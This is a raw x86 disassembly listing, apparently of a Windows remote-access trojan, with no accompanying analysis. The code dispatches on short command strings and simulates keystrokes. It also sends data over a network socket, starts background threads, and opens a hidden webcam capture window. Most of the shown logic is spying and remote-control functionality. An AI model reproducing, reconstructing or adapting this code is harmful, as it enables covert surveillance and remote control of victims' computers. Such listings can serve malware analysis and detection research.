push 0
push 0
push 0x9c
push 0x11
call sub.USER32.DLL_keybd_event
mov word [ebp - 0x1372], 0
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x136c], ecx
mov dword [ebp - 0x1368], eax
mov word [ebp - 0x1374], 0x56
xor edx, edx
lea ecx, [ebp - 0x1378]
mov dword [ebp - 0x1370], edx
push 0x1c
push ecx
push 2
call sub.USER32.DLL_SendInput
mov dword [ebp - 0x1370], 2
push 0x1c
lea eax, [ebp - 0x1378]
push eax
push 2
call sub.USER32.DLL_SendInput
push 0
push 2
push 0x9c
push 0x11
call sub.USER32.DLL_keybd_event
push 0
push 0
push 0x9c
push 0xd
call sub.USER32.DLL_keybd_event
push 0
push 2
push 0x9c
push 0xd
call sub.USER32.DLL_keybd_event
mov byte [ebp - 0xd30], 0
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov edx, dword [ebp - 0xa8]
sub edx, dword [ebp - 0xb8]
mov dword [ebp - 0x424], edx
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x428], ecx
cmp dword [ebp - 0x428], 0
je 0x4079d5
cmp dword [ebp - 0x424], 0x80
jbe 0x4079c1
push dword [ebp - 0x428]
call fcn.0040c294
pop ecx
jmp 0x4079d5
push dword [ebp - 0x424]
push dword [ebp - 0x428]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x90]
sub eax, dword [ebp - 0xa0]
mov dword [ebp - 0x42c], eax
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x430], edx
cmp dword [ebp - 0x430], 0
je 0x407a42
cmp dword [ebp - 0x42c], 0x80
jbe 0x407a2e
push dword [ebp - 0x430]
call fcn.0040c294
pop ecx
jmp 0x407a42
push dword [ebp - 0x42c]
push dword [ebp - 0x430]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
movsx ecx, byte [ebp - 0xd30]
cmp ecx, 0x61
jne 0x407afc
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x53
jne 0x407afc
movsx edx, byte [ebp - 0xd2e]
cmp edx, 0x65
jne 0x407afc
movsx ecx, byte [ebp - 0xd2d]
cmp ecx, 0x78
jne 0x407afc
push 0xc8
push 0
lea eax, [ebp - 0x1440]
push eax
call fcn.0040e5ec
add esp, 0xc
xor eax, eax
mov word [ebp - 0x384], 0x74
jmp 0x407ab3
inc eax
mov dl, byte [ebp + eax - 0xd2c]
mov byte [ebp + eax - 0xd30], dl
test dl, dl
jne 0x407ab2
push str.start
lea eax, [ebp - 0x1440]
push eax
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0xd30]
push ecx
lea eax, [ebp - 0x1440]
push eax
call fcn.0040e690
add esp, 8
lea edx, [ebp - 0x1440]
push edx
call fcn.00416b04
pop ecx
movsx ecx, byte [ebp - 0xd30]
cmp ecx, 0x77
jne 0x408158
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x58
jne 0x408158
movsx edx, byte [ebp - 0xd2e]
cmp edx, 0x63
jne 0x408158
movsx ecx, byte [ebp - 0xd2d]
cmp ecx, 0x31
jne 0x408158
push 0x64
push 0
lea eax, [ebp - 0x14a4]
push eax
call fcn.0040e5ec
mov word [ebp - 0x384], 0x194
add esp, 0xc
lea edx, [ebp - 0xe0]
lea ecx, [ebp - 0xf8]
push edx
inc dword [ebp - 0x378]
push 0x447fd4
push ecx
call fcn.0040268e
add esp, 0xc
lea eax, [ebp - 0xf8]
add dword [ebp - 0x378], 4
push eax
lea edx, [ebp - 0x110]
push edx
call fcn.004055cc
add esp, 8
lea ecx, [ebp - 0x110]
add dword [ebp - 0x378], 4
mov dword [ebp - 0x434], ecx
mov eax, dword [ebp - 0x434]
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x14a4]
push ecx
call fcn.0040e690
add esp, 8
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x100]
sub eax, dword [ebp - 0x110]
mov dword [ebp - 0x438], eax
mov edx, dword [ebp - 0x110]
mov dword [ebp - 0x43c], edx
cmp dword [ebp - 0x43c], 0
je 0x407c2b
cmp dword [ebp - 0x438], 0x80
jbe 0x407c17
push dword [ebp - 0x43c]
call fcn.0040c294
pop ecx
jmp 0x407c2b
push dword [ebp - 0x438]
push dword [ebp - 0x43c]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0xe8]
sub ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x440], ecx
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0
je 0x407c98
cmp dword [ebp - 0x440], 0x80
jbe 0x407c84
push dword [ebp - 0x444]
call fcn.0040c294
pop ecx
jmp 0x407c98
push dword [ebp - 0x440]
push dword [ebp - 0x444]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
push 0x64
push 0
lea edx, [ebp - 0x1508]
push edx
call fcn.0040e5ec
mov word [ebp - 0x384], 0x1dc
add esp, 0xc
lea ecx, [ebp - 0x118]
lea eax, [ebp - 0x120]
push ecx
inc dword [ebp - 0x378]
add esp, 0xffffffe8
mov word [ebp - 0x384], 0x1e8
push eax
inc dword [ebp - 0x378]
push 0x44916c
lea edx, [esp + 8]
push edx
call fcn.0040268e
add esp, 0xc
add dword [ebp - 0x378], 4
lea ecx, [ebp - 0x138]
push ecx
mov word [ebp - 0x384], 0x1dc
add dword [ebp - 0x378], 0xfffffffc
call fcn.00405504
add esp, 0x1c
lea eax, [ebp - 0x138]
add dword [ebp - 0x378], 4
mov dword [ebp - 0x448], eax
mov edx, dword [ebp - 0x448]
mov ecx, dword [edx]
push ecx
lea eax, [ebp - 0xd8]
push eax
call fcn.0040268e
add dword [ebp - 0x378], 4
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
add esp, 0xc
mov edx, dword [ebp - 0x128]
sub edx, dword [ebp - 0x138]
mov dword [ebp - 0x44c], edx
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x450], ecx
cmp dword [ebp - 0x450], 0
je 0x407dbd
cmp dword [ebp - 0x44c], 0x80
jbe 0x407da9
push dword [ebp - 0x450]
call fcn.0040c294
pop ecx
jmp 0x407dbd
push dword [ebp - 0x44c]
push dword [ebp - 0x450]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov dl, byte [0x44916c]
mov word [ebp - 0x384], 0x1d0
mov eax, dword [ebp - 0xd8]
mov byte [eax], dl
lea eax, [ebp - 0x1508]
mov ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x454], ecx
push 0x440479
push eax
call fcn.0040e690
add esp, 8
lea edx, [ebp - 0x1508]
push dword [ebp - 0x454]
push edx
call fcn.0040e690
add esp, 8
push 0x7e8
lea ecx, [ebp - 0x1508]
push ecx
lea eax, [ebp - 0x14a4]
push eax
call fcn.004052dc
add esp, 0xc
push 0x64
call sub.KERNEL32.DLL_Sleep
xor edx, edx
mov dword [ebp - 0x458], edx
xor ecx, ecx
mov dword [ebp - 0x45c], ecx
lea eax, [ebp - 0x45c]
push eax
lea edx, [ebp - 0x458]
push edx
call fcn.00405ab0
add esp, 8
mov ecx, dword [ebp - 0x45c]
mov dword [ebp - 0x460], ecx
push 0xa
call fcn.0040c46c
pop ecx
mov ebx, eax
push 0xa
push ebx
push dword [ebp - 0x460]
call fcn.004136b8
add esp, 0xc
mov ebx, eax
push 0x64
push 0
push dword [0x437c60]
call fcn.0040e5ec
add esp, 0xc
push 0x44047d
push dword [0x437c60]
call fcn.0040e690
add esp, 8
push ebx
push dword [0x437c60]
call fcn.0040e690
add esp, 8
lea eax, [ebp - 0x14a4]
push 0x7e8
push dword [0x437c60]
push eax
call fcn.004052dc
add esp, 0xc
push 0x64
call sub.KERNEL32.DLL_Sleep
push 0x64
push 0
push dword [0x437c60]
call fcn.0040e5ec
add esp, 0xc
mov edx, dword [ebp - 0x458]
mov dword [ebp - 0x464], edx
push 0xa
call fcn.0040c46c
pop ecx
mov ebx, eax
push 0xa
push ebx
push dword [ebp - 0x464]
call fcn.004136b8
add esp, 0xc
mov ebx, eax
push 0x440481
push dword [0x437c60]
call fcn.0040e690
add esp, 8
push ebx
push dword [0x437c60]
call fcn.0040e690
add esp, 8
lea eax, [ebp - 0x14a4]
push 0x64
push 0
push eax
call fcn.0040e5ec
mov word [ebp - 0x384], 0x20c
add esp, 0xc
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x158]
push edx
inc dword [ebp - 0x378]
push 0x447fd4
push ecx
call fcn.0040268e
add esp, 0xc
lea eax, [ebp - 0x158]
add dword [ebp - 0x378], 4
push eax
lea edx, [ebp - 0x170]
push edx
call fcn.004055cc
add esp, 8
lea ecx, [ebp - 0x170]
add dword [ebp - 0x378], 4
mov dword [ebp - 0x468], ecx
mov eax, dword [ebp - 0x468]
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x14a4]
push ecx
call fcn.0040e690
add esp, 8
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x1d0
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x160]
sub eax, dword [ebp - 0x170]
mov dword [ebp - 0x46c], eax
mov edx, dword [ebp - 0x170]
mov dword [ebp - 0x470], edx
cmp dword [ebp - 0x470], 0
je 0x40802d
cmp dword [ebp - 0x46c], 0x80
jbe 0x408019
push dword [ebp - 0x470]
call fcn.0040c294
pop ecx
jmp 0x40802d
push dword [ebp - 0x46c]
push dword [ebp - 0x470]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0x148]
sub ecx, dword [ebp - 0x158]
mov dword [ebp - 0x474], ecx
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0
je 0x40809a
cmp dword [ebp - 0x474], 0x80
jbe 0x408086
push dword [ebp - 0x478]
call fcn.0040c294
pop ecx
jmp 0x40809a
push dword [ebp - 0x474]
push dword [ebp - 0x478]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
push 0x7e8
push dword [0x437c60]
lea edx, [ebp - 0x14a4]
push edx
call fcn.004052dc
add esp, 0xc
push 0x64
push 0
push dword [0x437c60]
call fcn.0040e5ec
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
add esp, 0xc
mov ecx, dword [ebp - 0xc8]
mov dword [0x437c34], 2
sub ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x47c], ecx
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 0
je 0x408143
cmp dword [ebp - 0x47c], 0x80
jbe 0x40812f
push dword [ebp - 0x480]
call fcn.0040c294
pop ecx
jmp 0x408143
push dword [ebp - 0x47c]
push dword [ebp - 0x480]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x61
jne 0x40825a
movsx ecx, byte [ebp - 0xd2f]
cmp ecx, 0x58
jne 0x40825a
movsx eax, byte [ebp - 0xd2e]
cmp eax, 0x73
jne 0x40825a
movsx edx, byte [ebp - 0xd2d]
cmp edx, 0x66
jne 0x40825a
mov word [ebp - 0x384], 0x74
xor ebx, ebx
jmp 0x4081c3
push 0x440251
lea eax, [ebp - 0xd30]
push eax
call fcn.00410998
mov word [ebp - 0x384], 0x74
add esp, 8
inc ebx
mov dl, byte [ebp + ebx - 0xd2c]
mov byte [ebp + ebx - 0xd30], dl
test dl, dl
jne 0x4081a5
mov dword [0x437c60], 0x440485
push 0
push dword [0x437c60]
call fcn.0040e6cc
pop ecx
push eax
push dword [0x437c60]
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_send
push 0x1f4
call sub.KERNEL32.DLL_Sleep
push 0xc8
push 0
push 0x448c94
call fcn.0040e5ec
add esp, 0xc
lea eax, [ebp - 0xd30]
push eax
push 0x448c94
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x484]
push ecx
push 4
push 0
push 0x40a388
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x449078], eax
push dword [0x449078]
call sub.KERNEL32.DLL_ResumeThread
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x6b
jne 0x4082a7
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x50
jne 0x4082a7
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x73
jne 0x4082a7
lea eax, [ebp - 0x488]
push eax
push 4
push 0
push 0x40b3d8
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x44901c], eax
push dword [0x44901c]
call sub.KERNEL32.DLL_ResumeThread
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x73
jne 0x40834a
movsx ecx, byte [ebp - 0xd2f]
cmp ecx, 0x44
jne 0x40834a
movsx eax, byte [ebp - 0xd2e]
cmp eax, 0x6d
jne 0x40834a
movsx edx, byte [ebp - 0xd2d]
cmp edx, 0x6e
jne 0x40834a
mov word [ebp - 0x384], 0x74
xor eax, eax
jmp 0x4082ed
inc eax
mov dl, byte [ebp + eax - 0xd2c]
mov byte [ebp + eax - 0xd30], dl
test dl, dl
jne 0x4082ec
push 0x437c68
call fcn.0040e6cc
pop ecx
push eax
push 0
push 0x437c68
call fcn.0040e5ec
add esp, 0xc
lea eax, [ebp - 0xd30]
push eax
push 0x437c68
call fcn.0040e690
add esp, 8
push 0x440259
push 0x437c68
call fcn.0040e690
add esp, 8
call fcn.004051b8
call fcn.00404f6c
movsx ecx, byte [ebp - 0xd30]
cmp ecx, 0x77
jne 0x408525
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x58
jne 0x408525
movsx edx, byte [ebp - 0xd2e]
cmp edx, 0x63
jne 0x408525
movsx ecx, byte [ebp - 0xd2d]
cmp ecx, 0x70
jne 0x408525
mov dword [0x437c30], 1
mov dword [0x437c14], 1
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x4083c1
push 0
push 0
push 0x40a
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
push dword [0x44900c]
call sub.USER32.DLL_DestroyWindow
xor eax, eax
mov dword [0x44900c], eax
push 0
push 0
push 0x1e0
push 0x280
push 0
push 0
push 0
push 0x4400c8
call sub.AVICAP32.DLL_capCreateCaptureWindowA
mov dword [0x44900c], eax
push 0
push dword [0x44900c]
call sub.USER32.DLL_ShowWindow
mov dword [0x447e90], 1
xor edx, edx
mov dword [0x447e8c], edx
mov dword [ebp - 0x48c], 1
mov word [ebp - 0x384], 0x74
push 0
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408443
push 0
push 0
push 0x42a
push 0
call sub.USER32.DLL_SendMessageA
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408466
push 0
push 0
push 0x432
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40848b
push 0
push 0
push 0x40a
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
jmp 0x40848d
xor eax, eax
test eax, eax
jne 0x408525
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x4084b8
push 0
push 0x42
push 0x434
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x4084db
push 0
push 0
push 0x432
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x4084fe
push 0
push 0
push 0x40a
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
push dword [0x44900c]
call sub.USER32.DLL_DestroyWindow
push 0
push 3
push 0x440456
xor edx, edx
push dword [ebp - 0x3a8]
mov dword [0x44900c], edx
call sub.WSOCK32.DLL_send
movsx ecx, byte [ebp - 0xd30]
cmp ecx, 0x76
jne 0x408f91
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x46
jne 0x408f91
movsx edx, byte [ebp - 0xd2e]
cmp edx, 0x6d
jne 0x408f91
movsx ecx, byte [ebp - 0xd2d]
cmp ecx, 0x6e
jne 0x408f91
mov word [ebp - 0x384], 0x74
xor eax, eax
jmp 0x408573
inc eax
mov dl, byte [ebp + eax - 0xd2c]
mov byte [ebp + eax - 0xd30], dl
test dl, dl
jne 0x408572
mov word [ebp - 0x384], 0x260
add esp, 0xffffffe8
mov word [ebp - 0x384], 0x26c
lea eax, [ebp - 0x178]
push eax
inc dword [ebp - 0x378]
lea ecx, [ebp - 0xd30]
push ecx
lea eax, [ebp - 0x190]
push eax
call fcn.0040268e
add esp, 0xc
lea edx, [ebp - 0x190]
add dword [ebp - 0x378], 4
push edx
lea ecx, [ebp - 0x1a8]
push ecx
call fcn.004056c4
add esp, 8
lea eax, [ebp - 0x1a8]
push eax
lea edx, [esp + 4]
add dword [ebp - 0x378], 4
push edx
call fcn.004048d4
add esp, 8
add dword [ebp - 0x378], 4
lea ecx, [ebp - 0x1c0]
push ecx
mov word [ebp - 0x384], 0x260
add dword [ebp - 0x378], 0xfffffffc
call fcn.00405504
add esp, 0x1c
lea ebx, [ebp - 0x1c0]
add dword [ebp - 0x378], 4
push 0x440264
call fcn.0040e6cc
pop ecx
mov dword [ebp - 0x490], eax
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
cmp eax, dword [ebp - 0x490]
jne 0x408677
mov edx, dword [ebp - 0x490]
mov dword [ebp - 0x494], edx
mov ecx, dword [ebx]
mov dword [ebp - 0x498], ecx
push dword [ebp - 0x494]
push 0x440264
push dword [ebp - 0x498]
call fcn.0040e798
add esp, 0xc
test eax, eax
je 0x40867b
xor eax, eax
jmp 0x408680
mov eax, 1
test al, al
jne 0x408d96
mov word [ebp - 0x384], 0x278
add esp, 0xffffffe8
lea edx, [ebp - 0x1c8]
lea ecx, [ebp - 0xd30]
lea eax, [ebp - 0x1e0]
push edx
inc dword [ebp - 0x378]
push ecx
push eax
call fcn.0040268e
add esp, 0xc
lea edx, [ebp - 0x1e0]
add dword [ebp - 0x378], 4
push edx
lea ecx, [ebp - 0x1f8]
push ecx
call fcn.004056c4
add esp, 8
lea eax, [ebp - 0x1f8]
push eax
lea edx, [esp + 4]
add dword [ebp - 0x378], 4
push edx
call fcn.004048d4
add esp, 8
add dword [ebp - 0x378], 4
lea ecx, [ebp - 0x210]
push ecx
mov word [ebp - 0x384], 0x260
add dword [ebp - 0x378], 0xfffffffc
call fcn.00405504
add esp, 0x1c
lea esi, [ebp - 0x210]
add dword [ebp - 0x378], 4
push str..bmp
call fcn.0040e6cc
pop ecx
mov dword [ebp - 0x49c], eax
mov eax, dword [esi + 4]
sub eax, dword [esi]
cmp eax, dword [ebp - 0x49c]
jne 0x408771
mov edx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], edx
mov ecx, dword [esi]
mov dword [ebp - 0x4a4], ecx
push dword [ebp - 0x4a0]
push str..bmp
push dword [ebp - 0x4a4]
call fcn.0040e798
add esp, 0xc
test eax, eax
je 0x408775
xor eax, eax
jmp 0x40877a
mov eax, 1
test al, al
setne dl
and edx, 1
push edx
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0x200]
sub ecx, dword [ebp - 0x210]
mov dword [ebp - 0x4a8], ecx
mov edi, dword [ebp - 0x210]
test edi, edi
je 0x4087cf
cmp dword [ebp - 0x4a8], 0x80
jbe 0x4087c0
push edi
call fcn.0040c294
pop ecx
jmp 0x4087cf
push dword [ebp - 0x4a8]
push edi
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x1e8]
sub eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x4ac], eax
mov edx, dword [ebp - 0x1f8]
mov dword [ebp - 0x4b0], edx
cmp dword [ebp - 0x4b0], 0
je 0x40883c
cmp dword [ebp - 0x4ac], 0x80
jbe 0x408828
push dword [ebp - 0x4b0]
call fcn.0040c294
pop ecx
jmp 0x40883c
push dword [ebp - 0x4ac]
push dword [ebp - 0x4b0]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0x1d0]
sub ecx, dword [ebp - 0x1e0]
mov dword [ebp - 0x4b4], ecx
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0
je 0x4088a9
cmp dword [ebp - 0x4b4], 0x80
jbe 0x408895
push dword [ebp - 0x4b8]
call fcn.0040c294
pop ecx
jmp 0x4088a9
push dword [ebp - 0x4b4]
push dword [ebp - 0x4b8]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
pop edx
test edx, edx
jne 0x408d96
mov word [ebp - 0x384], 0x2cc
add esp, 0xffffffe8
lea ecx, [ebp - 0x218]
lea eax, [ebp - 0xd30]
lea edx, [ebp - 0x230]
push ecx
inc dword [ebp - 0x378]
push eax
push edx
call fcn.0040268e
add esp, 0xc
lea ecx, [ebp - 0x230]
add dword [ebp - 0x378], 4
push ecx
lea eax, [ebp - 0x248]
push eax
call fcn.004056c4
add esp, 8
lea edx, [ebp - 0x248]
push edx
lea ecx, [esp + 4]
add dword [ebp - 0x378], 4
push ecx
call fcn.004048d4
add esp, 8
add dword [ebp - 0x378], 4
lea eax, [ebp - 0x260]
push eax
mov word [ebp - 0x384], 0x260
add dword [ebp - 0x378], 0xfffffffc
call fcn.00405504
add esp, 0x1c
lea edx, [ebp - 0x260]
add dword [ebp - 0x378], 4
mov dword [ebp - 0x4bc], edx
push str..png
call fcn.0040e6cc
pop ecx
mov dword [ebp - 0x4c0], eax
mov ecx, dword [ebp - 0x4bc]
mov edx, dword [ebp - 0x4bc]
mov eax, dword [ecx + 4]
sub eax, dword [edx]
cmp eax, dword [ebp - 0x4c0]
jne 0x4089c5
mov ecx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], ecx
mov eax, dword [ebp - 0x4bc]
mov edx, dword [eax]
mov dword [ebp - 0x4c8], edx
push dword [ebp - 0x4c4]
push str..png
push dword [ebp - 0x4c8]
call fcn.0040e798
add esp, 0xc
test eax, eax
je 0x4089c9
xor ecx, ecx
jmp 0x4089ce
mov ecx, 1
test cl, cl
setne al
and eax, 1
push eax
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov edx, dword [ebp - 0x250]
sub edx, dword [ebp - 0x260]
mov dword [ebp - 0x4cc], edx
mov ecx, dword [ebp - 0x260]
mov dword [ebp - 0x4d0], ecx
cmp dword [ebp - 0x4d0], 0
je 0x408a38
cmp dword [ebp - 0x4cc], 0x80
jbe 0x408a24
push dword [ebp - 0x4d0]
call fcn.0040c294
pop ecx
jmp 0x408a38
push dword [ebp - 0x4cc]
push dword [ebp - 0x4d0]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x238]
sub eax, dword [ebp - 0x248]
mov dword [ebp - 0x4d4], eax
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x4d8], edx
cmp dword [ebp - 0x4d8], 0
je 0x408aa5
cmp dword [ebp - 0x4d4], 0x80
jbe 0x408a91
push dword [ebp - 0x4d8]
call fcn.0040c294
pop ecx
jmp 0x408aa5
push dword [ebp - 0x4d4]
push dword [ebp - 0x4d8]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0x220]
sub ecx, dword [ebp - 0x230]
mov dword [ebp - 0x4dc], ecx
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 0
je 0x408b12
cmp dword [ebp - 0x4dc], 0x80
jbe 0x408afe
push dword [ebp - 0x4e0]
call fcn.0040c294
pop ecx
jmp 0x408b12
push dword [ebp - 0x4dc]
push dword [ebp - 0x4e0]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
pop edx
test edx, edx
jne 0x408d96
mov word [ebp - 0x384], 0x320
add esp, 0xffffffe8
lea ecx, [ebp - 0x268]
lea eax, [ebp - 0xd30]
lea edx, [ebp - 0x280]
push ecx
inc dword [ebp - 0x378]
push eax
push edx
call fcn.0040268e
add esp, 0xc
lea ecx, [ebp - 0x280]
add dword [ebp - 0x378], 4
push ecx
lea eax, [ebp - 0x298]
push eax
call fcn.004056c4
add esp, 8
lea edx, [ebp - 0x298]
push edx
lea ecx, [esp + 4]
add dword [ebp - 0x378], 4
push ecx
call fcn.004048d4
add esp, 8
add dword [ebp - 0x378], 4
lea eax, [ebp - 0x2b0]
push eax
mov word [ebp - 0x384], 0x260
add dword [ebp - 0x378], 0xfffffffc
call fcn.00405504
add esp, 0x1c
lea edx, [ebp - 0x2b0]
add dword [ebp - 0x378], 4
mov dword [ebp - 0x4e4], edx
push str..jpeg
call fcn.0040e6cc
pop ecx
mov dword [ebp - 0x4e8], eax
mov ecx, dword [ebp - 0x4e4]
mov edx, dword [ebp - 0x4e4]
mov eax, dword [ecx + 4]
sub eax, dword [edx]
cmp eax, dword [ebp - 0x4e8]
jne 0x408c2e
mov ecx, dword [ebp - 0x4e8]
mov dword [ebp - 0x4ec], ecx
mov eax, dword [ebp - 0x4e4]
mov edx, dword [eax]
mov dword [ebp - 0x4f0], edx
push dword [ebp - 0x4ec]
push str..jpeg
push dword [ebp - 0x4f0]
call fcn.0040e798
add esp, 0xc
test eax, eax
je 0x408c32
xor ecx, ecx
jmp 0x408c37
mov ecx, 1
test cl, cl
setne al
and eax, 1
push eax
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov edx, dword [ebp - 0x2a0]
sub edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x4f4], edx
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x4f8], ecx
cmp dword [ebp - 0x4f8], 0
je 0x408ca1
cmp dword [ebp - 0x4f4], 0x80
jbe 0x408c8d
push dword [ebp - 0x4f8]
call fcn.0040c294
pop ecx
jmp 0x408ca1
push dword [ebp - 0x4f4]
push dword [ebp - 0x4f8]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x288]
sub eax, dword [ebp - 0x298]
mov dword [ebp - 0x4fc], eax
mov edx, dword [ebp - 0x298]
mov dword [ebp - 0x500], edx
cmp dword [ebp - 0x500], 0
je 0x408d0e
cmp dword [ebp - 0x4fc], 0x80
jbe 0x408cfa
push dword [ebp - 0x500]
call fcn.0040c294
pop ecx
jmp 0x408d0e
push dword [ebp - 0x4fc]
push dword [ebp - 0x500]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0x270]
sub ecx, dword [ebp - 0x280]
mov dword [ebp - 0x504], ecx
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0
je 0x408d7b
cmp dword [ebp - 0x504], 0x80
jbe 0x408d67
push dword [ebp - 0x508]
call fcn.0040c294
pop ecx
jmp 0x408d7b
push dword [ebp - 0x504]
push dword [ebp - 0x508]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
pop edx
test edx, edx
jne 0x408d96
xor ecx, ecx
jmp 0x408d9b
mov ecx, 1
push ecx
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x1b0]
sub eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x50c], eax
mov edx, dword [ebp - 0x1c0]
mov dword [ebp - 0x510], edx
cmp dword [ebp - 0x510], 0
je 0x408dfd
cmp dword [ebp - 0x50c], 0x80
jbe 0x408de9
push dword [ebp - 0x510]
call fcn.0040c294
pop ecx
jmp 0x408dfd
push dword [ebp - 0x50c]
push dword [ebp - 0x510]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0x198]
sub ecx, dword [ebp - 0x1a8]
mov dword [ebp - 0x514], ecx
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0
je 0x408e6a
cmp dword [ebp - 0x514], 0x80
jbe 0x408e56
push dword [ebp - 0x518]
call fcn.0040c294
pop ecx
jmp 0x408e6a
push dword [ebp - 0x514]
push dword [ebp - 0x518]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
